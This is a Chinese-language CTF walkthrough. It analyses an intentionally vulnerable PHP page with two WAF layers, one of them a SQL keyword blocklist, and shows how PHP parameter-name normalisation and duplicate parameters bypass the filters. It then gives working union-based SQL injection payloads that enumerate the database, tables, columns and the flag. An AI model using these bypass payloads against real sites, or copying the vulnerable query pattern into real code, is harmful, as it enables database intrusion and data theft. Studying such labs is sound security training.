目录
一、环境搭建
1、源码
2、数据库连接
二、源码分析
1、第一层waf
2、第二层waf
参数拆解
3、第三层查询
4、传入参数以及返回的结果
三、waf绕过
1、绕过难点
2、php特性绕过第一层waf
(一) 特性一
(二) 特性二
(三)利用两个特性绕过第一层waf
3、绕过第二层waf
1、所需绕过技巧
2、查数据库名:
3、查表名:
4、查列名:
5、查表数据:
完成绕过,成功拿下数据库
index.php
$val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "";
echo "" . $row['name'] . " ";
echo " ";
}
}
?>
如果不需要代码解析可以直接跳到第三节!!!!!!
前端传入参数后,先通过以下代码传入第一层waf里面,进入dowith_sql函数对传入的参数进行判断和过滤,不满足条件便直接退出并提升 " 非法字符 " ,如果满足条件就执行后面的语句
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
第一个waf过滤掉了 select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile 等关键字
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
第二层接收到通过接收REQUEST传来的URL的值,对参数进行第二次过滤筛选,通过 ?将传入的值进行分割。
$_SERVER['REQUEST_URI'] — 访问此页面所需的 URI。例如,“/index.php?code=aaa”
假如传递的参数为 ?i_d=1&submit=1 ,第一步使用explode通过?将参数分割
那么
$request_uri[0] = ?
$request_uri[1] = i_d=1&submit=1
第二次分割
$rewrite_url[0] = i_d=1
$rewrite_url[1] = submit=1
循环遍历rewrite_url数组,分别对参数通过 "=" 进行分割,然后将分割后的参数赋值给$_value
$_value[0] = i_d
$_value[1] = 1
进入if循环,将$_value[1]的值传入第二层waf的dhtmlspecialchars函数,以及php的addslashes函数中,将通过过滤的值在重新赋值给$_value[0]即i_d;
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
addslashes函数的作用为过滤字符,如下图所列:
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "
"; ";echo "
" . $row['name'] . " ";echo "
}
}
将前面两次waf过滤之后的数据拿到,判断传入的参数里面是否有submit字段,如果有就进入if语句内部
假如传递的参数为 ?i_d=1&submit=1
$user_id=1
$sql = "select * from ctf.users where id=1"
$result 接收 $sql 在数据库查询出来的内容
$row = mysql_fetch_array($result)将 $result 的数据拿到,并将数据传入 $row 中
while循环判断 $row 里面是否有数据,如果有数据,就进入while语句内部,打印 $row['name']。
我的数据库存储的数据为:
第一层waf将以下关键字都过滤掉了
/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is
第二层waf将以下符号转化为实体编码,其中的两个英文括号转化为中文括号
str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')')
这代表我们无法使用concat(),updatexml(),floor()等函数
!!!!!面对这种过滤,是否感到非常的棘手
但是这种过滤真的没法绕过吗,这里就需要对代码进行细致的分析了,比如下列代码
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
将$_SERVER['REQUEST_URI']用 ? 分开,? 后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$_REQUEST数组中:$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
这个过程等于手工处理了一遍REQUEST_URI,将REQUEST_URI中的字符串分割成数组覆盖到REQUEST里。
按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。
那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。
首先,来看一下以下代码执行返回的数据
hpp.php
可以看到获取了id=2的内容,当我们输入两个相同名字的参数的时候,php是取后一个的
实验做完了,回到漏洞。
我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?
但上述实验的结果表示,我这个假设是不成立的。二者获取的结果都是22222 。那么,这个思路是否就是不可行的了?
这是php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。
那么假设我发送的是这样一个请求: /t.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/t.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。
利用下列代码可以查看$_SERVER获取的REQUEST_URI与$_REQUEST通过php特性直接获取
的参数存在的区别
hpp.php
";
var_dump($request_uri);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
echo "";
var_dump($rewrite_url);exit;
}
?>
可以发现,$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['user_id']却是11111。
完美践行了我上述的思路:WAF检测的是2,实际插入数据库的却是1
所以,我们可以通过这种方式将上述的php特性进行第一层waf的绕过
让第一层waf检查第二个传入的正常参数,$_SERVER 检查传入的第一个带有payload的参数
如:
i_d=-1/**/union/**/select/**/1,2,3&i.d=123456&submit
空格: /**/ %0a %0b
=: like rlike regexp
" "和' ': 当用于包裹数据库名等状态下,可以通过将数据库名这些转为十六进制绕过
i_d=-1/**/union/**/select/**/1,table_schema,3/**/from/**/information_schema.tables&i.d=123456&submit
可以通过limit一个一个数据库的拿,我这里就不演示了,我们这里使用的数据库名为:cft
i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=123456&submit
这里由于第二层waf会将 "=" 切割," ' " 会被addslashes过滤,所以只能使用like、rlike、regexp等方法查询,但是数据库名没有单双引号无法查询。
但是幸运的是mysql支持16进制的编码,所以我们可以将数据库名进行应该十六进制的转换。
利用工具cyber进行转换
i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=123456&submit
将users也替换为十六进制
users -----> 0x7573657273
i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=123456&submit
因为ctf.users并不需要被单双引号包裹,所以无需转十六进制。